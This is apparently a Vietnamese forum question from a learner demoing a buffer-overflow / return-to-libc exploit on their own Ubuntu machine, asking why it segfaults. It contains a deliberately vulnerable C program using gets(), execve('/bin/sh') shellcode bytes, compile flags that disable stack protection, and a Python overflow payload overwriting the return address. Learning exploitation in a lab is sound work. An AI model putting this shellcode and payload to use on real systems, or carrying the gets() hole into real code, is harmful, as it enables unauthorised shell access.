siêu nhân nào giải đáp giúp mình với , mình đang muốn demo cái lỗi trên mà gặp phải lỗi segment fault là sao vậy . cách làm là mình sẽ thay địa chỉ trở về printf thành hàm system :
đây là file
(shell.c)
#include <stdio.h>
int main()
{
char buf[16];
gets(buf);
printf("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80");
// day la shell goi /bin/sh
}
rồi mình compile bằng:
gcc -m32 -fno-stack-protector -zexecstack shell.c -o shell
sau đó mình nhập dữ liệu qua pipe trong terminal :
python -c 'print "a"*20 + "\x00\x02\xe1\xf7"' | ./shell
(0xf7e10200 là đia chi của hàm system)
nhưng mà nó hiện lỗi segment fault . hiện mình đang dùng ubuntu 18.04 64 bit . Đa tạ đa tạ